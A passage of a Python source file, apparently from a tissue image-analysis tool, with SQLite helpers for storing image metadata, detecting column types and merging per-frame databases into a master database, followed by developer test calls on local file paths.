new_color_to_give_to_cells_if_return_image=None)\n        return local_ids\ndef any_to_numeric(values):\n    \"\"\"\n    Converts values to numeric types if possible.\n\n    Args:\n        values (list): The list of values to convert.\n\n    Returns:\n        list: The converted values.\n\n    Examples:\n        values = ['123', '3.14', '456', '7.89']\n        converted_values = any_to_numeric(values)\n        This will convert the values in the list to their respective numeric types.\n    \"\"\"\n    if values is None:\n        return None\n    for iii, v in enumerate(values):\n        if isinstance(v, str):\n            if '.' in v:\n                try:\n                    values[iii] = float(v)\n                except ValueError:\n                    values[iii] = None\n            else:\n                try:\n                    values[iii] = int(v)\n                except ValueError:\n                    values[iii] = None\n    return values\n\ndef get_numeric_value(v):\n    \"\"\"\n    Converts a value to a numeric type if possible.\n\n    Args:\n        v: The value to convert.\n\n    Returns:\n        The converted numeric value if conversion is successful, None otherwise.\n\n    Examples:\n        value = '3.14'\n        converted_value = get_numeric_value(value)\n        This will convert the value to a float type.\n    \"\"\"\n    if isinstance(v, str):\n        if '.' in v:\n            try:\n                return float(v)\n            except ValueError:\n                return None\n        else:\n            try:\n                return int(v)\n            except ValueError:\n                return None\n    return v\n\n\nimport numpy as np\n\ndef sort_col_numpy(unsorted_data, freq=None, ignore_None_and_string=True, force_numeric=False, sort=True):\n    \"\"\"\n    Sorts a column of data using NumPy and computes the minimum and maximum values.\n\n    Args:\n        unsorted_data: The column of data to sort.\n        freq: The frequency range to consider for computing the minimum and maximum values.\n        ignore_None_and_string: Flag to ignore None and string values during sorting.\n        force_numeric: Flag to force conversion of values to numeric types.\n        sort: Flag to indicate whether to perform sorting.\n\n    Returns:\n        The minimum and maximum values of the sorted column.\n\n    Examples:\n        data = [3, 1, 2]\n        min_val, max_val = sort_col_numpy(data)\n        This will sort the data and compute the minimum and maximum values.\n    \"\"\"\n    if unsorted_data is None:\n        return None, None\n\n    sorted_data = unsorted_data\n\n    if force_numeric:\n        sorted_data = any_to_numeric(sorted_data)\n\n    if ignore_None_and_string:\n        sorted_data = [val for val in sorted_data if val is not None or isinstance(val, str)]\n\n    if sort:\n        sorted_data = np.sort(unsorted_data)\n\n    length = len(sorted_data)\n    min_val = sorted_data[0]\n    max_val = sorted_data[-1]\n\n    if freq is None or freq == 0.:\n        return min_val, max_val\n    else:\n        if isinstance(freq, list) or isinstance(freq, tuple):\n            if len(freq) == 1:\n                lower = freq[0]\n                upper = freq[0]\n            else:\n                lower = freq[0]\n                upper = freq[1]\n        else:\n            lower = freq\n            upper = freq\n\n    if lower > 0.:\n        idx = round(lower * length)\n        try:\n            min_val = sorted_data[idx]\n        except:\n            pass\n\n    if upper > 0.:\n        idx = round(upper * length)\n        try:\n            max_val = sorted_data[-idx]\n        except:\n            pass\n\n    return min_val, max_val\n\n\n\ndef update_db_properties_using_image_properties(input_file, ta_path):\n    \"\"\"\n    Update the database properties using the image properties.\n\n    Args:\n        input_file (str): The path to the input image file.\n        ta_path (str): The path to the database directory.\n\n    Raises:\n        Exception: If an error occurs while reading properties from the image or writing them to the database.\n    \"\"\"\n    try:\n        tmp = Img(input_file)  # Create an Img object from the input image file\n        if has_metadata(tmp):  # Check if the image has metadata\n            db_path = os.path.join(ta_path, 'pyTA.db')  # Construct the path to the database file\n            db = TAsql(db_path)  # Create a TAsql object with the database path\n            try:\n                # Initialize variables for storing the image properties\n                voxel_size_x = None\n                voxel_size_y = None\n                voxel_size_z = None\n                voxel_z_over_x_ratio = None\n                time = None\n                creation_time = None\n\n                # Extract the image properties from the metadata\n                if 'vx' in tmp.metadata:\n                    voxel_size_x = tmp.metadata['vx']\n                if 'vy' in tmp.metadata:\n                    voxel_size_y = tmp.metadata['vy']\n                if 'vz' in tmp.metadata:\n                    voxel_size_z = tmp.metadata['vz']\n                if 'AR' in tmp.metadata:\n                    voxel_z_over_x_ratio = tmp.metadata['AR']\n                if 'time' in tmp.metadata:\n                    time = tmp.metadata['time']\n                if 'creation_time' in tmp.metadata:\n                    creation_time = tmp.metadata['creation_time']\n\n                # Create a dictionary with the image properties\n                neo_data = {'voxel_size_x': voxel_size_x,\n                            'voxel_size_y': voxel_size_y,\n                            'voxel_size_z': voxel_size_z,\n                            'voxel_z_over_x_ratio': voxel_z_over_x_ratio,\n                            'time': time,\n                            'creation_time': creation_time}\n\n                if db.exists('properties'):\n                    # The 'properties' table exists in the database, update the existing data\n                    header, cols = db.run_SQL_command_and_get_results('SELECT * FROM properties', return_header=True)\n                    cols = cols[0]\n                    data = _to_dict(header, cols)  # Convert the retrieved data to a dictionary\n                    for key in list(neo_data.keys()):\n                        if neo_data[key] is None:\n                            if key not in data:\n                                data[key] = neo_data[key]\n                        else:\n                            data[str(key)] = neo_data[key]\n                else:\n                    # The 'properties' table does not exist, use the new data as it is\n                    data = neo_data\n\n                data = {k: [v] for k, v in data.items()}  # Convert the data dictionary to a dictionary of lists\n                db.create_and_append_table('properties', data)  # Create or append the 'properties' table with the data\n            except:\n                traceback.print_exc()\n                print('An error occurred while reading properties from the image or writing them to the database')\n            finally:\n                try:\n                    db.close()  # Close the database connection\n                except:\n                    pass\n        del tmp  # Delete the temporary Img object\n    except:\n        traceback.print_exc()\n        print('Error could not save image properties to the TA database')\n\ndef _to_dict(header, col):\n    \"\"\"\n    Convert the header and column data into a dictionary.\n\n    Args:\n        header (list): The header containing the column names.\n        col (list): The column data.\n\n    Returns:\n        dict: A dictionary where the column names are the keys and the column data are the values.\n    \"\"\"\n    dct = {}\n    for iii, he in enumerate(header):\n        dct[he] = col[iii]  # Map the column name to its corresponding data value\n    return dct\n\n\ndef _list_to_string(lst, add_quotes=True):\n    \"\"\"\n    Convert a list or dictionary to a string representation.\n\n    Args:\n        lst (list or dict): The list or dictionary to be converted.\n        add_quotes (bool, optional): Indicates whether quotes should be added around string values (default: True).\n\n    Returns:\n        str: The string representation of the list or dictionary.\n\n    Examples:\n        >>> lst = [1, 2, 3]\n        >>> _list_to_string(lst)\n        \"'1', '2', '3'\"\n\n        >>> lst = ['apple', 'banana', 'cherry']\n        >>> _list_to_string(lst)\n        \"'apple', 'banana', 'cherry'\"\n\n        >>> dct = {'Name': 'John', 'Age': 25, 'Country': 'USA'}\n        >>> _list_to_string(dct)\n        'Name John, Age 25, Country USA'\n    \"\"\"\n    if isinstance(lst, list):\n        return ', '.join(\n            map(\n                lambda x: \"'\" + str(x) + \"'\" if x is not None and add_quotes else str(x) if x is not None and not add_quotes else 'Null',\n                lst\n            )\n        )\n    elif isinstance(lst, dict):\n        return ', '.join(\n            (str(x) + ' ' + str(y)) if y is not None else str(x) + ' ' + 'Null' for x, y in lst.items()\n        )\n    else:\n        return list\n\n# TODO get master db --> TODO --> required for global plots --> easy way of doing things in fact, I love it\n\n# maybe allow unknown\ndef get_type(value):\n    \"\"\"\n    Determine the data type of a value.\n\n    Args:\n        value (any): The value to determine the data type.\n\n    Returns:\n        str: The data type of the value.\n\n    Examples:\n        >>> get_type(42)\n        'INTEGER'\n\n        >>> get_type(3.14)\n        'FLOAT'\n\n        >>> get_type('Hello, world!')\n        'TEXT'\n\n        >>> get_type(True)\n        'BOOLEAN'\n    \"\"\"\n    if isinstance(value, bool):\n        return 'BOOLEAN'\n    if isinstance(value, str):\n        return 'TEXT'\n    if isinstance(value, int):\n        return 'INTEGER'\n    if isinstance(value, float):\n        return 'FLOAT'\n    if isinstance(value, list):\n        return 'TEXT'\n    if isinstance(value, np.int64) or isinstance(value, np.uint64) \\\n            or isinstance(value, np.int32) or isinstance(value, np.uint32) \\\n            or isinstance(value, np.int8) or isinstance(value, np.uint8):\n        return 'INTEGER'\n    if isinstance(value, Img):\n        return 'INTEGER'\n    if isinstance(value, tuple) or isinstance(value, np.ndarray):\n        return 'TEXT'\n\n    print('error type not supported:', type(value), value)\n    return 'TEXT'\n\n\ndef get_types_from_data(one_row_of_data):\n    \"\"\"\n    Get the data types from a row of data.\n\n    Args:\n        one_row_of_data (dict or list): A row of data represented as a dictionary or list.\n\n    Returns:\n        list: A list of data types corresponding to the values in the row of data.\n\n    Examples:\n        >>> get_types_from_data({'name': 'John', 'age': 30, 'height': 180.5})\n        ['TEXT', 'INTEGER', 'FLOAT']\n\n    \"\"\"\n    types = []\n    if isinstance(one_row_of_data, dict):\n        for k, v in one_row_of_data.items():\n            if v is None:\n                types.append('TEXT')\n                continue\n\n            if not isinstance(v, list):\n                types.append(get_type(v))\n            else:\n                success = False\n                for vv in v:\n                    if vv is not None:\n                        types.append(get_type(vv))\n                        success = True\n                        break\n                if not success:\n                    types.append('TEXT')\n    else:\n        for data in one_row_of_data:\n            types.append(get_type(data))\n\n    return types\n\n\ndef _to_lower(lst):\n    \"\"\"\n    Convert a list of elements to lowercase strings.\n\n    Args:\n        lst (list): A list of elements.\n\n    Returns:\n        list: A new list with elements converted to lowercase strings.\n\n    Examples:\n        >>> _to_lower(['Apple', 'Banana', 'Orange'])\n        ['apple', 'banana', 'orange']\n\n        >>> _to_lower(['Hello', 'WORLD'])\n        ['hello', 'world']\n    \"\"\"\n    return [str(elm).lower() for elm in lst]\n\n\n# NB this will fail when some command returns for some of the samples a null output --> think if there can be a workaround\n# MEGA TODO also I should always return the header and make sure it's identical to the previous one, because if it's not the case the aggregation is not possible --> then maybe set the row to None and later replace it with the appropriate nb of Null for example !!! --> think about that\ndef combine_single_file_queries(lst, sql_command, table_names=None, db_name='pyTA.db', return_header=False, prepend_frame_nb=True, prepend_file_name=True, output_filename=None):\n    \"\"\"\n    Combine the results of single file queries into a master data set.\n\n    Args:\n        lst (list): List of file paths to query.\n        sql_command (str): SQL command to execute for each file.\n        table_names (str or list, optional): Names of tables to include in the query. Defaults to None.\n        db_name (str, optional): Name of the database file. Defaults to 'pyTA.db'.\n        return_header (bool, optional): Flag to indicate whether to return the header. Defaults to False.\n        prepend_frame_nb (bool, optional): Flag to indicate whether to prepend the frame number to the data. Defaults to True.\n        prepend_file_name (bool, optional): Flag to indicate whether to prepend the file name to the data. Defaults to True.\n        output_filename (str, optional): Name of the output file to save the combined data. Defaults to None.\n\n    Returns:\n        tuple or list: If `output_filename` is None and `return_header` is False, returns the combined data as a list.\n                      If `output_filename` is None and `return_header` is True, returns the header and combined data as a tuple.\n                      If `output_filename` is provided, saves the combined data to the specified file and returns None.\n\n    # Examples:\n    #     >>> lst = ['file1.db', 'file2.db', 'file3.db']\n    #     >>> sql_command = 'SELECT * FROM data'\n    #     >>> combine_single_file_queries(lst, sql_command, table_names='my_table', output_filename='combined_data.csv')\n    #\n    #     >>> lst = ['file1.db', 'file2.db', 'file3.db']\n    #     >>> sql_command = 'SELECT * FROM data WHERE value > 10'\n    #     >>> header, data = combine_single_file_queries(lst, sql_command, return_header=True)\n    #     >>> print(header)\n    #     >>> print(data)\n    \"\"\"\n\n    if lst is not None and lst and isinstance(lst, list):\n        # merged output\n        master_data = []\n        header = None\n        for iii, file in enumerate(lst):\n            # Parse the database file path\n            db_path = smart_name_parser(file, db_name)\n            # Create a TAsql instance for the database\n            db = TAsql(db_path)\n            try:\n                final_command = sql_command\n\n                if table_names is not None:\n                    if isinstance(table_names, list):\n                        # Iterate over the table names and check if they exist in the database\n                        for table_name in table_names:\n                            if db.exists(table_name):\n                                final_command += table_name\n                                break\n                    else:\n                        final_command += table_names\n\n                # Execute the SQL command and get the results\n                out = db.run_SQL_command_and_get_results(final_command, return_header=iii == 0)\n                if isinstance(out, tuple):\n                    header, data = out\n                    if prepend_file_name:\n                        header = prepend_to_content(header, 'filename')\n                    if prepend_frame_nb:\n                        header = prepend_to_content(header, 'frame_nb')\n                else:\n                    data = out\n                if prepend_file_name:\n                    data = prepend_to_content(data, file)\n                if prepend_frame_nb:\n                    data = prepend_to_content(data, iii)\n\n                # Append the data to the master data list\n                master_data.extend(data)\n            except:\n                traceback.print_exc()\n            finally:\n                # Close the database connection\n                db.close()\n\n        if not master_data:\n            master_data = None\n        if output_filename is not None:\n            # Save the combined data to the output file\n            save_data_to_csv(output_filename, header, master_data)\n        else:\n            if return_header:\n                return header, master_data\n            return master_data\n    else:\n        logger.error('No input list -> nothing to do...')\n        if return_header:\n            return None, None\n        return None\n\n\n# TODO KEEP MEGA URGENT do force_track_cells_db_update for bonds and vertices when the tracking will be implemented.\n# TODO --> find a way to handle clones here\ndef createMasterDB(lst, outputName=None, progress_callback=None, database_name=None, force_track_cells_db_update=False, db_name='pyTA.db'):\n    \"\"\"\n    Creates a master database by combining data from multiple database files.\n\n    Args:\n        lst (list): List of input filenames or database file paths.\n        outputName (str, optional): Name of the output database file. If provided, the existing file will be removed\n                                    before creating a new one. Defaults to None.\n        progress_callback (function, optional): Callback function to track the progress of the database creation.\n                                                Defaults to None.\n        database_name (str, optional): Name of a specific database to include. Only the tables from this database will\n                                       be added to the master database. Defaults to None.\n        force_track_cells_db_update (bool, optional): If True, forces an update to the 'cell_tracks' table in the\n                                                     database. Defaults to False.\n        db_name (str, optional): Name of the database. Defaults to 'pyTA.db'.\n\n    Returns:\n        TAsql: The master database object.\n\n    Examples:\n        lst = ['db1.db', 'db2.db', 'db3.db']\n        createMasterDB(lst, outputName='master.db')\n\n        This example will create a master database named 'master.db' by combining the tables from 'db1.db', 'db2.db',\n        and 'db3.db'. The existing 'master.db' file, if any, will be removed before creating the new database.\n    \"\"\"\n    masterDB = None\n    try:\n        frame_nb = \"frame_nb\"\n        fileName = \"filename\"\n\n        # Create or remove the output file if specified\n        if outputName is not None:\n            try:\n                os.remove(outputName)\n            except OSError:\n                pass\n\n        # Generate a list of database filenames\n        database_list = smart_TA_list(lst, db_name)\n\n        # Create the masterDB object\n        masterDB = TAsql(filename_or_connection=outputName, add_useful_missing_SQL_commands=False)\n\n        # Iterate over each database file\n        if database_list is not None:\n            for l, db_l in enumerate(database_list):\n                try:\n                    # Check if the process should be stopped\n                    if early_stop.stop:\n                        return\n\n                    # Update progress if a callback function is provided\n                    if progress_callback is not None:\n                        progress_callback.emit(int((l / len(database_list)) * 100))\n                    else:\n                        logger.info(str((l / len(database_list)) * 100) + '%')\n                except:\n                    pass\n\n                # Open the database file\n                dbHandler = None\n                try:\n                    dbHandler = TAsql(filename_or_connection=db_l)\n\n                    # Get all tables in the database\n                    tables = dbHandler.get_tables()\n\n                    if force_track_cells_db_update:\n                        force_update = False\n\n                        # Check if 'cell_tracks' table is missing or empty\n                        if 'cell_tracks' not in tables or dbHandler.isTableEmpty('cell_tracks'):\n                            force_update = True\n\n                        if not force_update:\n                            try:\n                                # Check if 'track_id' column is empty\n                                data = dbHandler.run_SQL_command_and_get_results('SELECT track_id FROM cell_tracks LIMIT 1')\n                                if data == None or data[0][0] == None:\n                                    force_update = True\n                            except:\n                                force_update = True\n\n                            if force_update:\n                                # Drop 'cell_tracks' table and create a new one\n                                dbHandler.drop_table('cell_tracks')\n                                dbHandler.execute_command('CREATE TABLE cell_tracks AS SELECT local_id as cell_id, -1 as track_id FROM cells')\n\n                    # Iterate over each table in the database\n                    for string in tables:\n                        if string == 'cell_tracks':\n                            # Skip the 'cell_tracks' table if force_track_cells_db_update is False\n                            if not force_track_cells_db_update:\n                                continue\n\n                        # Read column names and types from the table\n                        cols = dbHandler.get_column_names_and_types(string)\n\n                        if database_name is not None:\n                            # Skip tables from other databases if a specific database name is provided\n                            if cols['database'][0] != database_name:\n                                continue\n\n                        # Get column names and types from the masterDB table (if exists)\n                        cols_master = masterDB.get_column_names_and_types(string)\n\n                        # Check for column mismatches between the database and masterDB\n                        present_in_master_but_missing_in_cur = None\n                        fixed_cols = set(_to_lower(cols.keys()))\n                        fixed_cols.add(frame_nb)\n                        fixed_cols.add(fileName)\n\n                        fixed_master = set(_to_lower(cols_master.keys()))\n                        cols_master = {k.lower():v for k,v in cols_master.items()}\n                        cols = {k.lower():v for k,v in cols.items()}\n\n                        if not fixed_cols == fixed_master:\n                            present_in_master_but_missing_in_cur = fixed_master - fixed_cols\n                            present_in_cur_but_missing_in_master = fixed_cols - fixed_master\n\n                            if present_in_master_but_missing_in_cur:\n                                # Create a temporary table for adding missing columns\n                                masterDB.drop_table('pytaTMP')\n                                masterDB.execute_command('CREATE TABLE pytaTMP AS SELECT * from ' + str(db_l))\n\n                                for col in present_in_master_but_missing_in_cur:\n                                    # Add missing columns to the temporary table\n                                    masterDB.add_column('pytaTMP', col, col_type=cols_master[col])\n\n                                db_l = 'pytaTMP'\n\n                            for col in present_in_cur_but_missing_in_master:\n                                # Add missing columns to the masterDB table\n                                masterDB.add_column(string, col, col_type=cols[col])\n\n                        name = smart_name_parser(lst[l], ordered_output=['short'])[0]\n\n                        # Insert data from the database table into the masterDB table\n                        masterDB.execute_command(\n                            \"INSERT INTO '\" + str(string) + \"' SELECT \" + str(l) + \" AS '\" + str(frame_nb) + \"', '\" + str(\n                                name) + \"' AS '\" + str(fileName) + \"', * FROM \" + str(db_l))\n\n                        # Drop the temporary table\n                        masterDB.drop_table('pytaTMP')\n\n                except:\n                    traceback.print_exc()\n                finally:\n                    if dbHandler is not None:\n                        # Detach the database table and close the connection\n                        masterDB.detach_table('tmp')\n                        dbHandler.close()\n\n    except:\n        traceback.print_exc()\n\n    finally:\n        # print(outputName)\n\n        # Clean up and close the masterDB if an outputName is provided\n        if masterDB is not None and outputName is not None:\n            masterDB.clean()\n            masterDB.close()\n        else:\n            return masterDB\n\n\nimport traceback\n\ndef set_property(db_file, neo_data):\n    \"\"\"\n    Sets properties in a database table using data from Neo.\n\n    Args:\n        db_file (str): The path to the database file.\n        neo_data (dict): The dictionary containing the Neo data.\n\n    Returns:\n        None\n\n    Raises:\n        Exception: If an error occurs while inserting new properties.\n\n    # Examples:\n    #     >>> db_file = 'data.db'\n    #     >>> neo_data = {'key1': 'value1', 'key2': 'value2', 'key3': 'value3'}\n    #     >>> set_property(db_file, neo_data)\n    \"\"\"\n    if not neo_data:\n        return\n\n    try:\n        db = TAsql(db_file)\n\n        try:\n            if db.exists('properties'):\n                header, cols = db.run_SQL_command_and_get_results('SELECT * FROM properties', return_header=True)\n                cols = cols[0]\n                data = _to_dict(header, cols)\n                data.update(neo_data)\n            else:\n                data = neo_data\n\n            data = {k: [v] for k, v in data.items()}\n            db.create_and_append_table('properties', data)\n        except:\n            traceback.print_exc()\n            print('An error occurred while reading properties from the image or writing them to the database')\n        finally:\n            try:\n                db.close()\n            except:\n                pass\n    except:\n        traceback.print_exc()\n        print('Error could not insert new properties')\n\n\n# returns the desired property from a TA db for the current file or None if not found\ndef get_property(db_file, property_name):\n    \"\"\"\n    Retrieves a property value from a database table.\n\n    Args:\n        db_file (str): The path to the database file.\n        property_name (str): The name of the property to retrieve.\n\n    Returns:\n        str or None: The value of the property, or None if it does not exist or an error occurs.\n\n    # Examples:\n    #     >>> db_file = 'data.db'\n    #     >>> property_name = 'key1'\n    #     >>> result = get_property(db_file, property_name)\n    #     >>> print(result)\n    #     'value1'\n    \"\"\"\n    val = None\n    db = TAsql(db_file)\n\n    try:\n        val = db.run_SQL_command_and_get_results('SELECT ' + property_name + ' from properties')[0][0]\n\n        if isinstance(val, str) and (val.lower() == 'none' or val.lower() == 'null' or val.strip() == ''):\n            val = None\n    except:\n        # If anything goes wrong or the table or column does not exist, return None\n        pass\n\n    db.close()\n    return val\n\n\ndef get_properties_master_db(lst):\n    \"\"\"\n    Retrieves properties from multiple databases and creates a master database.\n\n    Args:\n        lst (list): The list of database names.\n\n    Returns:\n        TAsql: The master database containing the properties.\n\n    # Examples:\n    #     >>> lst = ['db1', 'db2', 'db3']\n    #     >>> result = get_properties_master_db(lst)\n    #     >>> print(result)\n    #     <TAsql object at 0x...>\n    \"\"\"\n    database_list = smart_TA_list(lst, 'pyTA.db')\n\n    if database_list is not None:\n        for db_file in database_list:\n            db = TAsql(db_file)\n\n            if not 'properties' in db.get_tables():\n                db.create_table('properties', ['voxel_z_over_x_ratio', 'time'], ['float', 'float'])\n                db.execute_command(\"INSERT INTO properties ('voxel_z_over_x_ratio', 'time') \"\n                                   \"SELECT NULL, NULL \"\n                                   \"WHERE NOT EXISTS (SELECT * FROM properties)\"\n                                   )\n            else:\n                if db.isTableEmpty('properties'):\n                    db.execute_command(\"INSERT INTO properties ('voxel_z_over_x_ratio', 'time') \"\n                                       \"SELECT NULL, NULL \"\n                                       \"WHERE NOT EXISTS (SELECT * FROM properties)\"\n                                       )\n\n            db.close()\n\n    database = createMasterDB(lst, database_name='properties')\n\n    return database\n\ndef reinject_properties_to_TA_files(lst, master_db, indices_to_update=None):\n    \"\"\"\n    Reinjects properties from the master database to individual TA files.\n\n    Args:\n        lst (list): The list of TA file names.\n        master_db (TAsql): The master database containing the properties.\n        indices_to_update (list or None): The indices of the TA files to update. If None, update all files.\n\n    Returns:\n        None\n\n    # Examples:\n    #     >>> lst = ['db1', 'db2', 'db3']\n    #     >>> master_db = TAsql('master.db')\n    #     >>> indices_to_update = [0, 2]\n    #     >>> reinject_properties_to_TA_files(lst, master_db, indices_to_update)\n    \"\"\"\n    database_list = smart_TA_list(lst, 'pyTA.db')\n\n    for iii, db_file in enumerate(database_list):\n        if indices_to_update is not None:\n            if iii not in indices_to_update:\n                continue\n\n        master_db.attach_table(db_file, 'tmp')\n\n        master_db.execute_command('DROP TABLE IF EXISTS tmp.properties')\n\n        master_db.execute_command('CREATE TABLE tmp.properties AS SELECT ' +\n                                  master_db.EXCEPT('properties', *['frame_nb', 'filename']) +\n                                  ' FROM properties WHERE frame_nb =' + str(iii))\n\n        master_db.execute_command('DETACH DATABASE tmp')\n\n# TODO also I would need handle polarity smarty but keep it channels --> TODO --> treat all of them as a single piece of data\n\ndef populate_table_content(db_name, prepend='#', filtered_out_columns=['x', 'y', 'first_pixel', 'local_ID', 'pixel_within_cell', 'centroid', 'vx', 'cell_id', 'pixel_within_', 'perimeter_pixel_count', 'bond_cut_off', 'vertices', 'bonds', 'pixel_count']):\n    \"\"\"\n    Populates the content of a table in a database.\n\n    Args:\n        db_name (str): The name of the database file.\n        prepend (str): The string to prepend to each table and column name. Default is '#'.\n        filtered_out_columns (list): The list of column names to filter out. Default is a list of column names.\n\n    Returns:\n        list: The list of table and column names.\n\n    # Examples:\n    #     >>> db_name = 'data.db'\n    #     >>> prepend = '#'\n    #     >>> filtered_out_columns = ['x', 'y', 'first_pixel', 'local_ID']\n    #     >>> result = populate_table_content(db_name, prepend, filtered_out_columns)\n    #     >>> print(result)\n    #     ['#table1.column1', '#table1.column2', '#table2.column1', '#table2.column2']\n    \"\"\"\n    if not os.path.isfile(db_name):\n        return None\n\n    table_content = []\n    db = None\n\n    try:\n        db = TAsql(db_name)\n        tables = db.get_tables()\n\n        for table in tables:\n            columns = db.get_table_column_names_and_types(table, return_colnames_only=True)\n            cols_to_remove = []\n\n            if filtered_out_columns is not None:\n                for filter in filtered_out_columns:\n                    for col in columns:\n                        if col.startswith(filter) or col == filter:\n                            cols_to_remove.append(col)\n\n                    columns = [col for col in columns if col not in cols_to_remove]\n\n            for col in columns:\n                table_content.append(('' if prepend is None else str(prepend)) + str(table) + '.' + str(col))\n    except:\n        traceback.print_exc()\n        logger.error('Error populating the database')\n    finally:\n        if db is not None:\n            db.close()\n\n        return table_content\n\n\n# do a sql class to store all TA data --> see what is the best way to add all\n# maybe do different classes\n# maybe a map with each column title and a corresponding array of values would be a good idea in fact to get started\n# or a row per row stuff and a header is also interesting --> really give it a try\n# maybe also a typing of the table is a good idea\nif __name__ == '__main__':\n    import sys\n\n    if True:\n        columns = ['id', 'fruit']\n        data = np.array( [['1', 'apple'], ['2', 'banana'], ['3', 'cherry']])\n        column_types = ['INTEGER', 'TEXT']\n        create_table_and_append_data(\"mydb.db\", \"fruits\", columns, data, column_types=column_types, temporary=False)\n        sys.exit(0)\n\n\n    if True:\n        table_to_xlsx_with_sheets('/E/Sample_images/Sample_transcription_dot_detection/manue_manually_segmented_images/training_set/tests/full_real_analysis_tst1/Sarah/kniR-405_knrlR-488_kniD-565_kniD-633/Image 23_Stitch/FISH.db', '/E/Sample_images/Sample_transcription_dot_detection/manue_manually_segmented_images/training_set/tests/full_real_analysis_tst1/Sarah/kniR-405_knrlR-488_kniD-565_kniD-633/Image 23_Stitch/FISH.xlsx')\n\n\n        sys.exit(0)\n\n    if True:\n\n        # print(os.path.exists('/E/Sample_images/Sample_transcription_dot_detection/manue_manually_segmented_images/training_set/tests/full_real_analysis_tst1/Benoit R1 R6/R1 565 R6 633 f W5 NS3/FISHcopie.db'))\n        remove_dupes_from_table_and_overwrite_table('/E/Sample_images/Sample_transcription_dot_detection/manue_manually_segmented_images/training_set/tests/full_real_analysis_tst1/Benoit R1 R6/R1 565 R6 633 f W5 NS3/FISH (copie).db', 'human_curated_distances_3D')\n        remove_dupes_from_table_and_overwrite_table('/E/Sample_images/Sample_transcription_dot_detection/manue_manually_segmented_images/training_set/tests/full_real_analysis_tst1/Benoit R1 R6/R1 565 R6 633 f W5 NS3/FISH (copie).db', 'human_curated_distances_3D_chromatic_aberrations_corrected')\n\n\n        sys.exit(0)\n\n    if False:\n        print(table_exists_in_db('/E/Sample_images/Sample_transcription_dot_detection/manue_manually_segmented_images/training_set/tests/full_real_analysis_tst1/tmp/R1 565 R6 633 f  S1/FISH.db', 'human_curated_distances_3D'))\n\n        print(table_exists_in_db('/E/Sample_images/Sample_transcription_dot_detection/manue_manually_segmented_images/training_set/tests/full_real_analysis_tst1/tmp/R1 565 R6 633 f  S1/FISH.db', 'breaking_bad'))\n\n        sys.exit(0)\n\n    # --> could create the master db and then even further filter it\n    # can I also do ins by sets --> think about it\n\n    # NB in is same as\n    #SELECT * FROM employees WHERE employee_id = 1 OR employee_id = 2 OR employee_id = 3 OR employee_id = 4;\n    # SELECT * FROM employees WHERE first_name NOT IN ('Sarah', 'Jessica'); # maybe useful too\n\n    if False:\n        db = TAsql('/E/Sample_images/sample_images_PA/trash_test_mem/mini_different_nb_of_channels/focused_Series012/pyTA.db')\n        # print(db.create_filtered_query('SELECT * from cells_2D', filtering_elements=[1,2,120],filter_name='local_ID'))\n        print(db.create_filtered_query('SELECT * from cells_2D', filtering_elements_dict={'local_ID':[1,2,120]}))\n        print(db.create_filtered_query('SELECT * from cells_2D', filtering_elements_dict={'local_ID':[1,2,120], 'cytoplasmic_area':[802]}))\n        db.close()\n\n        sys.exit(0)\n\n    if False:\n        new_properties = {'reg_x':16, 'reg_y':-32}\n        set_property(\n            '/E/Sample_images/sample_images_PA/trash_test_mem/mini_different_nb_of_channels/focused_Series012/pyTA.db',\n            new_properties)  # ça marche!!!\n        print(get_property(\n            '/E/Sample_images/sample_images_PA/trash_test_mem/mini_different_nb_of_channels/focused_Series012/pyTA.db',\n            'reg_x') + 1)  # ça marche!!!\n        sys.exit(0)\n\n    if False:\n        lst = {'toto':'tutu', 'tata':None}\n        print(', '.join((str(x) + ' ' + str(y)) if y is not None else str(x) + ' ' + 'Null' for x, y in lst.items()))\n        import sys\n        sys.exit(0)\n\n        lst = [0, None, 123]\n        print(_list_to_string(lst))\n\n\n        print(', '.join(map(str, lst)))\n        print(', '.join(map(lambda x: str(x) if x is not None else 'Null', lst)))\n        print(\"'\" + '\\', \\''.join(map(lambda x: str(x) if x is not None else 'Null', lst)) + \"'\")\n        add_quotes = True\n        print(', '.join(map(lambda x: \"'\"+str(x)+\"'\" if x is not None and add_quotes else str(x) if x is not None and not add_quotes else 'Null', lst)))\n\n\n    if False:\n        # use these properties to compute the real 3D area values --> maybe also store pc data in this\n\n        print(get_property('/E/Sample_images/sample_images_PA/trash_test_mem/mini_different_nb_of_channels/focused_Series012/pyTA.db', 'time')+1) # ça marche!!!\n        print(get_property('/E/Sample_images/sample_images_PA/trash_test_mem/mini_different_nb_of_channels/focused_Series012/pyTA.db', 'voxel_z_over_x_ratio'))\n        import sys\n        sys.exit(0)\n\n\n    if True:\n        # do a real mount maybe ???\n\n        # all seems ok and in many aspects simpler than the java equivalent...\n        # sql_file = '/E/Sample_images/sample_images_PA/trash_test_mem/mini/test.db'\n        # sql_file = '/run/user/1000/gvfs/smb-share:server=teamdfs2,share=teamprudhomme/EqpPrudHomme2/To be analyzed/221123 R1y R6y/R1 565 R6 633 f  S3/test.db' # test for sqlite on samba --> there is a bug on a samba drive --> how can I fix that\n        sql_file = '/media/eqpPrudhomme/EqpPrudHomme2/To be analyzed/test.db' # FINALLY GOT IT TO WORK --> use the nobrl option in mount CIFS # test for sqlite on samba --> there is a bug on a samba drive --> how can I fix that # TO GET IT TO WORK I NEED THE 'NOBRL' command !!!\n        table_name = 'test'\n        table_columns = ['aaa', 'bbb', 'ccc', 'ddd', 'eee']\n        table_cols_and_type = {'zzz': None, 'aaa': 'DOUBLE', 'bbb': 'INT',\n                               'ccc': 'TEXT'}  # see all the types that exist and stick to that!!!\n\n        one_row = [None, 10, 123., True, 'toto']\n\n        print(_list_to_string(['10', '10.0', '20', 'TEXT1']))\n\n        # magic table\n        table_magic = {'zzz': [10, 20], 'aaa': [10., 22.], 'bbb': [20, 30],\n                       'ccc': ['TEXT1', 'TEXT2']}\n\n        print(_list_to_string(table_columns), table_columns)\n        print(_list_to_string(table_cols_and_type), table_cols_and_type)\n\n        print('line below will generate an error!')\n        print(get_types_from_data(one_row))\n\n        # now really create a table and then fill it --> TODO\n\n        # test of all\n        db = TAsql(sql_file)  # maybe if file is none --> store in mem ???\n        db.create_and_append_table(table_name=table_name, datas=table_magic)\n        # create and append table\n\n        data = db.run_SQL_command_and_get_results('SELECT * FROM test WHERE ccc == \"TEXT2\"')\n        print(data)  # --> just gives me the data row by row --> probably pandas offers me more flexibility!!!\n\n        headers = db.get_table_header('test2')\n        print('headers', headers)\n\n        headers = db.get_table_header('test')\n        print('headers', headers)\n\n        print(db.exists('test 2312'))\n        print(db.exists('test'))\n\n        print('list of tables', db.get_tables())\n        # [('table1',), ('table2',), ('table3',)]\n\n        # 